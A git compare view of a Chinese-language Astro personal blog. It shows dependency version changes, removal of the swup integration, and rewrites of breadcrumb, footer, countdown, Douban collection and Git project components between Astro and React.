Compare commits

..

No commits in common. "0d48cc85918ba9a49210073cb7db16ea3ce2267c" and "864e482210ce59812a0d2dfd662b30cf11f4a039" have entirely different histories.

175 changed files with 3659 additions and 11603 deletions

View File

@ -9,7 +9,6 @@ import rehypeExternalLinks from "rehype-external-links";
import sitemap from "@astrojs/sitemap"; import sitemap from "@astrojs/sitemap";
import fs from "node:fs"; import fs from "node:fs";
import path from "node:path"; import path from "node:path";
import swup from "@swup/astro"
import { SITE_URL } from "./src/consts"; import { SITE_URL } from "./src/consts";
import vercel from "@astrojs/vercel"; import vercel from "@astrojs/vercel";
@ -89,7 +88,6 @@ export default defineConfig({
}, },
gfm: true gfm: true
}), }),
swup(),
react(), react(),
sitemap({ sitemap({
filter: (page) => !page.includes("/api/"), filter: (page) => !page.includes("/api/"),

7099
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@ -9,24 +9,23 @@
"astro": "astro" "astro": "astro"
}, },
"dependencies": { "dependencies": {
"@astrojs/mdx": "^4.2.4", "@astrojs/mdx": "^4.2.2",
"@astrojs/node": "^9.2.0", "@astrojs/node": "^9.1.3",
"@astrojs/react": "^4.2.4", "@astrojs/react": "^4.2.2",
"@astrojs/sitemap": "^3.3.0", "@astrojs/sitemap": "^3.3.0",
"@astrojs/vercel": "^8.1.3", "@astrojs/vercel": "^8.1.3",
"@swup/astro": "^1.6.0", "@tailwindcss/vite": "^4.0.9",
"@tailwindcss/vite": "^4.1.4", "@types/react": "^19.0.10",
"@types/react": "^19.1.2", "@types/react-dom": "^19.0.4",
"@types/react-dom": "^19.1.2",
"@types/three": "^0.174.0", "@types/three": "^0.174.0",
"astro": "^5.7.4", "astro": "^5.5.5",
"cheerio": "^1.0.0", "cheerio": "^1.0.0-rc.12",
"node-fetch": "^3.3.2", "node-fetch": "^3.3.0",
"octokit": "^3.2.1", "octokit": "^3.1.2",
"react": "^19.1.0", "react": "^19.0.0",
"react-dom": "^19.1.0", "react-dom": "^19.0.0",
"react-masonry-css": "^1.0.16", "react-masonry-css": "^1.0.16",
"tailwindcss": "^4.1.4", "tailwindcss": "^4.0.9",
"three": "^0.174.0" "three": "^0.174.0"
}, },
"devDependencies": { "devDependencies": {

View File

@ -0,0 +1,69 @@
---
// 面包屑导航组件
// 接收当前页面类型、路径段和标签过滤器作为参数
interface Breadcrumb {
name: string;
path: string;
}
export interface Props {
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
pathSegments?: string[]; // 路径段数组
tagFilter?: string; // 标签过滤器
articleTitle?: string; // 文章标题(仅在文章详情页使用)
}
const { pageType, pathSegments = [], tagFilter = '', articleTitle = '' } = Astro.props;
// 将路径段转换为面包屑对象
const breadcrumbs: Breadcrumb[] = pathSegments
.filter(segment => segment.trim() !== '')
.map((segment, index, array) => {
const path = array.slice(0, index + 1).join('/');
return { name: segment, path };
});
---
<div class="flex items-center text-sm">
<!-- 文章列表链接 -->
<a href="/articles" class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clip-rule="evenodd" />
</svg>
文章
</a>
{/* 标签过滤 */}
{tagFilter && (
<>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span class="text-secondary-600 dark:text-secondary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clip-rule="evenodd" />
</svg>
{tagFilter}
</span>
</>
)}
{/* 目录路径 */}
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
return (
<span>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
</span>
);
})}
{/* 文章标题 */}
{pageType === 'article' && articleTitle && (
<>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span class="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
</>
)}
</div>

View File

@ -1,72 +0,0 @@
import React from 'react';
interface Breadcrumb {
name: string;
path: string;
}
export interface BreadcrumbProps {
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
pathSegments?: string[]; // 路径段数组
tagFilter?: string; // 标签过滤器
articleTitle?: string; // 文章标题(仅在文章详情页使用)
}
export function Breadcrumb({
pageType,
pathSegments = [],
tagFilter = '',
articleTitle = ''
}: BreadcrumbProps) {
// 将路径段转换为面包屑对象
const breadcrumbs: Breadcrumb[] = pathSegments
.filter(segment => segment.trim() !== '')
.map((segment, index, array) => {
const path = array.slice(0, index + 1).join('/');
return { name: segment, path };
});
return (
<div className="flex items-center text-sm">
{/* 文章列表链接 */}
<a href="/articles" className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fillRule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clipRule="evenodd" />
</svg>
</a>
{/* 标签过滤 */}
{tagFilter && (
<>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span className="text-secondary-600 dark:text-secondary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fillRule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clipRule="evenodd" />
</svg>
{tagFilter}
</span>
</>
)}
{/* 目录路径 */}
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
return (
<span key={`crumb-${index}`}>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
</span>
);
})}
{/* 文章标题 */}
{pageType === 'article' && articleTitle && (
<>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span className="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
</>
)}
</div>
);
}

View File

@ -1,101 +1,34 @@
import React, { useState, useEffect, useRef } from 'react'; import React, { useState, useEffect } from 'react';
interface CountdownProps { interface CountdownProps {
targetDate: string; // 目标日期,格式:'YYYY-MM-DD' targetDate: string; // 目标日期,格式:'YYYY-MM-DD'
className?: string; // 自定义类名
} }
interface TimeLeft { export const Countdown: React.FC<CountdownProps> = ({ targetDate }) => {
days: number; const [timeLeft, setTimeLeft] = useState({
hours: number;
minutes: number;
seconds: number;
expired: boolean;
}
export const Countdown: React.FC<CountdownProps> = ({ targetDate, className = '' }) => {
const [timeLeft, setTimeLeft] = useState<TimeLeft>({
days: 0, days: 0,
hours: 0, hours: 0,
minutes: 0, minutes: 0,
seconds: 0, seconds: 0
expired: false
}); });
const timerRef = useRef<number | null>(null);
useEffect(() => { useEffect(() => {
const calculateTimeLeft = () => { const timer = setInterval(() => {
try { const now = new Date().getTime();
const now = new Date().getTime(); const target = new Date(targetDate).getTime();
const target = new Date(targetDate).getTime(); const difference = target - now;
// 检查目标日期是否有效
if (isNaN(target)) {
console.error(`无效的目标日期: ${targetDate}`);
return {
days: 0,
hours: 0,
minutes: 0,
seconds: 0,
expired: true
};
}
const difference = target - now;
const expired = difference <= 0;
if (expired) {
return {
days: 0,
hours: 0,
minutes: 0,
seconds: 0,
expired: true
};
}
if (difference > 0) {
const days = Math.floor(difference / (1000 * 60 * 60 * 24)); const days = Math.floor(difference / (1000 * 60 * 60 * 24));
const hours = Math.floor((difference % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); const hours = Math.floor((difference % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
const minutes = Math.floor((difference % (1000 * 60 * 60)) / (1000 * 60)); const minutes = Math.floor((difference % (1000 * 60 * 60)) / (1000 * 60));
const seconds = Math.floor((difference % (1000 * 60)) / 1000); const seconds = Math.floor((difference % (1000 * 60)) / 1000);
return { days, hours, minutes, seconds, expired: false }; setTimeLeft({ days, hours, minutes, seconds });
} catch (error) {
console.error('计算倒计时发生错误:', error);
return {
days: 0,
hours: 0,
minutes: 0,
seconds: 0,
expired: true
};
}
};
// 立即计算一次时间
setTimeLeft(calculateTimeLeft());
// 设置定时器
timerRef.current = window.setInterval(() => {
const newTimeLeft = calculateTimeLeft();
setTimeLeft(newTimeLeft);
// 如果已经到期,清除计时器
if (newTimeLeft.expired) {
if (timerRef.current !== null) {
clearInterval(timerRef.current);
timerRef.current = null;
}
} }
}, 1000); }, 1000);
// 清理函数 return () => clearInterval(timer);
return () => {
if (timerRef.current !== null) {
clearInterval(timerRef.current);
timerRef.current = null;
}
};
}, [targetDate]); }, [targetDate]);
const TimeBox = ({ value, label }: { value: number; label: string }) => ( const TimeBox = ({ value, label }: { value: number; label: string }) => (
@ -103,20 +36,12 @@ export const Countdown: React.FC<CountdownProps> = ({ targetDate, className = ''
<div className="text-4xl font-light"> <div className="text-4xl font-light">
{value.toString().padStart(2, '0')} {value.toString().padStart(2, '0')}
</div> </div>
<div className="text-sm mt-1 text-gray-500 dark:text-gray-400">{label}</div> <div className="text-sm mt-1 text-gray-500">{label}</div>
</div> </div>
); );
if (timeLeft.expired) {
return (
<div className={`text-center ${className}`}>
<div className="text-xl text-gray-500 dark:text-gray-400"></div>
</div>
);
}
return ( return (
<div className={`flex items-center justify-center ${className}`}> <div className="flex items-center justify-center">
<TimeBox value={timeLeft.days} label="天" /> <TimeBox value={timeLeft.days} label="天" />
<TimeBox value={timeLeft.hours} label="时" /> <TimeBox value={timeLeft.hours} label="时" />
<TimeBox value={timeLeft.minutes} label="分" /> <TimeBox value={timeLeft.minutes} label="分" />

View File

@ -1,4 +1,4 @@
import React, { useState, useEffect, useCallback, useRef } from 'react'; import React, { useState, useEffect } from 'react';
import ReactMasonryCss from 'react-masonry-css'; import ReactMasonryCss from 'react-masonry-css';
interface DoubanItem { interface DoubanItem {
@ -20,138 +20,73 @@ interface Pagination {
interface DoubanCollectionProps { interface DoubanCollectionProps {
type: 'movie' | 'book'; type: 'movie' | 'book';
doubanId?: string; // 可选参数,使其与 MediaGrid 保持一致
className?: string; // 添加自定义类名
} }
const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, className = '' }) => { const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type }) => {
const [items, setItems] = useState<DoubanItem[]>([]); const [items, setItems] = useState<DoubanItem[]>([]);
const [pagination, setPagination] = useState<Pagination>({ current: 1, total: 1, hasNext: false, hasPrev: false }); const [pagination, setPagination] = useState<Pagination>({ current: 1, total: 1, hasNext: false, hasPrev: false });
const [loading, setLoading] = useState(true); const [loading, setLoading] = useState(true);
const [error, setError] = useState<string | null>(null); const [error, setError] = useState<string | null>(null);
const [isPageChanging, setIsPageChanging] = useState(false); const [isPageChanging, setIsPageChanging] = useState(false);
// 使用 ref 避免竞态条件 const fetchData = async (start = 0) => {
const abortControllerRef = useRef<AbortController | null>(null);
const isMountedRef = useRef(true);
const fetchData = useCallback(async (start = 0) => {
// 如果已经有一个请求在进行中,取消它
if (abortControllerRef.current) {
abortControllerRef.current.abort();
}
// 创建新的 AbortController
abortControllerRef.current = new AbortController();
setLoading(true); setLoading(true);
setError(null);
const params = new URLSearchParams(); const params = new URLSearchParams();
params.append('type', type); params.append('type', type);
params.append('start', start.toString()); params.append('start', start.toString());
if (doubanId) {
params.append('doubanId', doubanId);
}
const url = `/api/douban?${params.toString()}`; const url = `/api/douban?${params.toString()}`;
try { try {
const response = await fetch(url, { const response = await fetch(url);
signal: abortControllerRef.current.signal
});
// 如果组件已卸载,不继续处理
if (!isMountedRef.current) return;
if (!response.ok) { if (!response.ok) {
throw new Error(`获取数据失败:状态码 ${response.status}`); throw new Error('获取数据失败');
} }
const data = await response.json(); const data = await response.json();
setItems(data.items);
if (data.error) { setPagination(data.pagination);
throw new Error(data.error);
}
setItems(data.items || []);
setPagination(data.pagination || { current: 1, total: 1, hasNext: false, hasPrev: false });
} catch (err) { } catch (err) {
// 如果是取消请求的错误,不设置错误状态
if (err instanceof Error && err.name === 'AbortError') {
return;
}
// 如果组件已卸载,不设置状态
if (!isMountedRef.current) return;
console.error('获取豆瓣数据失败:', err);
setError(err instanceof Error ? err.message : '未知错误'); setError(err instanceof Error ? err.message : '未知错误');
setItems([]);
} finally { } finally {
// 如果组件已卸载,不设置状态
if (!isMountedRef.current) return;
setLoading(false); setLoading(false);
setIsPageChanging(false);
} }
}, [type, doubanId]); };
useEffect(() => { useEffect(() => {
// 组件挂载时设置标记
isMountedRef.current = true;
fetchData(); fetchData();
}, [type]);
// 组件卸载时清理 const handlePageChange = (page: number) => {
return () => {
isMountedRef.current = false;
if (abortControllerRef.current) {
abortControllerRef.current.abort();
}
};
}, [fetchData]);
const handlePageChange = useCallback((page: number) => {
if (isPageChanging) return;
setIsPageChanging(true);
// 计算新页面的起始项
const start = (page - 1) * 15; const start = (page - 1) * 15;
// 更新分页状态 // 手动更新分页状态不等待API响应
setPagination(prev => ({ setPagination(prev => ({
...prev, ...prev,
current: page current: page
})); }));
// 清空当前项目,显示加载状态 // 重置当前状态,显示加载中
setItems([]); setItems([]);
setLoading(true); setLoading(true);
// 获取新页面的数据
fetchData(start); fetchData(start);
}, [fetchData, isPageChanging]); };
const renderStars = useCallback((rating: number) => { const renderStars = (rating: number) => {
return ( return (
<div className="flex"> <div className="flex">
{[1, 2, 3, 4, 5].map((star) => ( {[1, 2, 3, 4, 5].map((star) => (
<svg <svg
key={star} key={star}
className={`w-4 h-4 ${star <= rating ? 'text-accent-400' : 'text-secondary-300 dark:text-secondary-600'}`} className={`w-4 h-4 ${star <= rating ? 'text-accent-400' : 'text-secondary-300'}`}
fill="currentColor" fill="currentColor"
viewBox="0 0 20 20" viewBox="0 0 20 20"
aria-hidden="true"
> >
<path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z" /> <path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z" />
</svg> </svg>
))} ))}
</div> </div>
); );
}, []); };
const breakpointColumnsObj = { const breakpointColumnsObj = {
default: 3, default: 3,
@ -159,65 +94,17 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
700: 1 700: 1
}; };
// 加载中状态
if (loading && items.length === 0) { if (loading && items.length === 0) {
return ( return <div className="flex justify-center p-8">...</div>;
<div className={`douban-collection ${className}`}>
<h2 className="text-2xl font-bold mb-6 text-primary-700 dark:text-primary-400">
{type === 'movie' ? '观影记录' : '读书记录'}
</h2>
<div className="flex justify-center items-center p-8">
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p className="ml-2 text-gray-600 dark:text-gray-400">...</p>
</div>
</div>
);
} }
// 错误状态
if (error) { if (error) {
return ( return <div className="text-red-500 p-4">: {error}</div>;
<div className={`douban-collection ${className}`}>
<h2 className="text-2xl font-bold mb-6 text-primary-700 dark:text-primary-400">
{type === 'movie' ? '观影记录' : '读书记录'}
</h2>
<div className="bg-red-50 dark:bg-red-900/20 text-red-600 dark:text-red-400 p-4 rounded-lg border border-red-200 dark:border-red-800">
<div className="flex items-center">
<svg className="w-5 h-5 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
</svg>
<p>: {error}</p>
</div>
<button
onClick={() => fetchData()}
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
>
</button>
</div>
</div>
);
}
// 数据为空状态
if (items.length === 0) {
return (
<div className={`douban-collection ${className}`}>
<h2 className="text-2xl font-bold mb-6 text-primary-700 dark:text-primary-400">
{type === 'movie' ? '观影记录' : '读书记录'}
</h2>
<div className="text-center p-8 text-gray-500 dark:text-gray-400">
{type === 'movie' ? '观影' : '读书'}
</div>
</div>
);
} }
return ( return (
<div className={`douban-collection ${className}`}> <div className="douban-collection">
<h2 className="text-2xl font-bold mb-6 text-primary-700 dark:text-primary-400"> <h2 className="text-2xl font-bold mb-6 text-primary-700">{type === 'movie' ? '观影记录' : '读书记录'}</h2>
{type === 'movie' ? '观影记录' : '读书记录'}
</h2>
<ReactMasonryCss <ReactMasonryCss
breakpointCols={breakpointColumnsObj} breakpointCols={breakpointColumnsObj}
@ -225,32 +112,23 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
columnClassName="pl-4 bg-clip-padding" columnClassName="pl-4 bg-clip-padding"
> >
{items.map((item, index) => ( {items.map((item, index) => (
<div <div key={index} className="mb-6 bg-white rounded-lg shadow-md overflow-hidden hover:shadow-lg transition-shadow duration-300">
key={`${item.title}-${index}`}
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg"
>
<a href={item.link} target="_blank" rel="noopener noreferrer" className="block"> <a href={item.link} target="_blank" rel="noopener noreferrer" className="block">
<div className="relative pb-[140%] overflow-hidden"> <div className="relative pb-[140%] overflow-hidden">
<img <img
src={item.imageUrl} src={item.imageUrl}
alt={item.title} alt={item.title}
className="absolute inset-0 w-full h-full object-cover hover:scale-105" className="absolute inset-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105"
loading="lazy"
onError={(e) => {
const target = e.target as HTMLImageElement;
target.onerror = null;
target.src = 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYwIiBoZWlnaHQ9IjIyNCIgdmlld0JveD0iMCAwIDE2MCAyMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjE2MCIgaGVpZ2h0PSIyMjQiIGZpbGw9IiNmMWYxZjEiLz48dGV4dCB4PSI4MCIgeT0iMTEyIiBmb250LWZhbWlseT0iQXJpYWwiIGZvbnQtc2l6ZT0iMTIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IiM5OTk5OTkiPuWbuuWumuWbvueJh+acquivu+WPlzwvdGV4dD48L3N2Zz4=';
}}
/> />
</div> </div>
<div className="p-4"> <div className="p-4">
<h3 className="font-bold text-lg mb-1 line-clamp-1 text-primary-800 dark:text-primary-300">{item.title}</h3> <h3 className="font-bold text-lg mb-1 line-clamp-1 text-primary-800">{item.title}</h3>
{item.subtitle && <p className="text-secondary-600 dark:text-secondary-400 text-sm mb-2 line-clamp-1">{item.subtitle}</p>} {item.subtitle && <p className="text-secondary-600 text-sm mb-2 line-clamp-1">{item.subtitle}</p>}
<div className="flex justify-between items-center mb-2"> <div className="flex justify-between items-center mb-2">
{renderStars(item.rating)} {renderStars(item.rating)}
<span className="text-sm text-secondary-500 dark:text-secondary-400">{item.date}</span> <span className="text-sm text-secondary-500">{item.date}</span>
</div> </div>
<p className="text-secondary-700 dark:text-secondary-300 text-sm line-clamp-3">{item.intro}</p> <p className="text-secondary-700 text-sm line-clamp-3">{item.intro}</p>
</div> </div>
</a> </a>
</div> </div>
@ -261,45 +139,67 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
{pagination.total > 1 && ( {pagination.total > 1 && (
<div className="flex justify-center mt-8 space-x-2"> <div className="flex justify-center mt-8 space-x-2">
<button <button
onClick={() => handlePageChange(pagination.current - 1)} onClick={(e) => {
e.preventDefault();
if (isPageChanging) return;
const prevPage = pagination.current - 1;
if (prevPage > 0) {
setIsPageChanging(true);
const prevStart = (prevPage - 1) * 15;
// 直接调用fetchData
fetchData(prevStart);
// 手动更新分页状态
setPagination(prev => ({
...prev,
current: prevPage
}));
setTimeout(() => setIsPageChanging(false), 2000);
}
}}
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging} disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging ? 'bg-secondary-200 text-secondary-500 cursor-not-allowed' : 'bg-primary-600 text-white hover:bg-primary-700'}`}
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="上一页"
> >
{isPageChanging ? ( {isPageChanging ? '加载中...' : '上一页'}
<span className="flex items-center">
<svg className="animate-spin -ml-1 mr-2 h-4 w-4 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4"></circle>
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
</span>
) : '上一页'}
</button> </button>
<span className="px-4 py-2 bg-secondary-100 dark:bg-secondary-800 rounded"> <span className="px-4 py-2 bg-secondary-100 rounded">
{pagination.current} / {pagination.total} {pagination.current} / {pagination.total}
</span> </span>
<button <button
onClick={() => handlePageChange(pagination.current + 1)} onClick={(e) => {
e.preventDefault(); // 防止默认行为
if (isPageChanging) return;
// 明确记录当前操作
const nextPage = pagination.current + 1;
// 直接使用明确的页码而不是依赖state
if (pagination.current < pagination.total) {
setIsPageChanging(true);
const nextStart = (nextPage - 1) * 15; // 修正计算方式
// 直接调用fetchData而不是通过handlePageChange
fetchData(nextStart);
// 手动更新分页状态
setPagination(prev => ({
...prev,
current: nextPage
}));
setTimeout(() => setIsPageChanging(false), 2000);
}
}}
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging} disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging ? 'bg-secondary-200 text-secondary-500 cursor-not-allowed' : 'bg-primary-600 text-white hover:bg-primary-700'}`}
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="下一页"
> >
{isPageChanging ? ( {isPageChanging ? '加载中...' : '下一页'}
<span className="flex items-center">
<svg className="animate-spin -ml-1 mr-2 h-4 w-4 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4"></circle>
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
</span>
) : '下一页'}
</button> </button>
</div> </div>
)} )}

View File

@ -0,0 +1,58 @@
---
interface Props {
icp?: string;
psbIcp?: string;
psbIcpUrl?: string;
}
const {
icp = "",
psbIcp = "",
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
} = Astro.props;
const currentYear = new Date().getFullYear();
---
<footer class="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
<div class="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
<div class="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
{icp && (
<a
href="https://beian.miit.gov.cn/"
target="_blank"
rel="noopener noreferrer"
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors"
>
{icp}
</a>
)}
{psbIcp && (
<a
href={psbIcpUrl}
target="_blank"
rel="noopener noreferrer"
class="flex items-center hover:text-primary-600 dark:hover:text-primary-400 transition-colors"
>
<img src="/images/national.png" alt="公安备案" class="h-4 mr-1" />
{psbIcp}
</a>
)}
</div>
<div class="text-sm text-gray-500 dark:text-gray-500 font-light flex items-center gap-2">
<a href="https://blog.lsy22.com" class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors">© {currentYear} New Echoes. All rights reserved.</a>
<span>·</span>
<a
href="/sitemap-index.xml"
target="_blank"
rel="noopener noreferrer"
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors"
>
Sitemap
</a>
</div>
</div>
</footer>

View File

@ -1,65 +0,0 @@
import React from 'react';
interface FooterProps {
icp?: string;
psbIcp?: string;
psbIcpUrl?: string;
}
export function Footer({
icp = "",
psbIcp = "",
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
}: FooterProps) {
const currentYear = new Date().getFullYear();
return (
<footer className="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
<div className="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
<div className="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
{icp && (
<a
href="https://beian.miit.gov.cn/"
target="_blank"
rel="noopener noreferrer"
className="hover:text-primary-600 dark:hover:text-primary-400"
aria-label="工信部备案信息"
>
{icp}
</a>
)}
{psbIcp && (
<a
href={psbIcpUrl}
target="_blank"
rel="noopener noreferrer"
className="flex items-center hover:text-primary-600 dark:hover:text-primary-400"
aria-label="公安部备案信息"
>
<img src="/images/national.png" alt="公安备案" className="h-4 mr-1" width="14" height="16" loading="lazy" />
{psbIcp}
</a>
)}
</div>
<div className="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
<a href="https://blog.lsy22.com" className="hover:text-primary-600 dark:hover:text-primary-400">
© {currentYear} New Echoes. All rights reserved.
</a>
<span aria-hidden="true" className="hidden sm:inline">·</span>
<a
href="/sitemap-index.xml"
target="_blank"
rel="noopener noreferrer"
className="hover:text-primary-600 dark:hover:text-primary-400"
aria-label="网站地图"
>
Sitemap
</a>
</div>
</div>
</footer>
);
}

View File

@ -1,4 +1,4 @@
import React, { useState, useEffect, useCallback, useRef } from 'react'; import React, { useState, useEffect } from 'react';
import ReactMasonryCss from 'react-masonry-css'; import ReactMasonryCss from 'react-masonry-css';
// Git 平台类型枚举 // Git 平台类型枚举
@ -59,7 +59,6 @@ interface GitProjectCollectionProps {
token?: string; token?: string;
perPage?: number; perPage?: number;
url?: string; url?: string;
className?: string; // 添加自定义类名
} }
const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
@ -69,8 +68,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
title, title,
token, token,
perPage = DEFAULT_GIT_CONFIG.perPage, perPage = DEFAULT_GIT_CONFIG.perPage,
url, url
className = ''
}) => { }) => {
const [projects, setProjects] = useState<GitProject[]>([]); const [projects, setProjects] = useState<GitProject[]>([]);
const [pagination, setPagination] = useState<Pagination>({ current: 1, total: 1, hasNext: false, hasPrev: false }); const [pagination, setPagination] = useState<Pagination>({ current: 1, total: 1, hasNext: false, hasPrev: false });
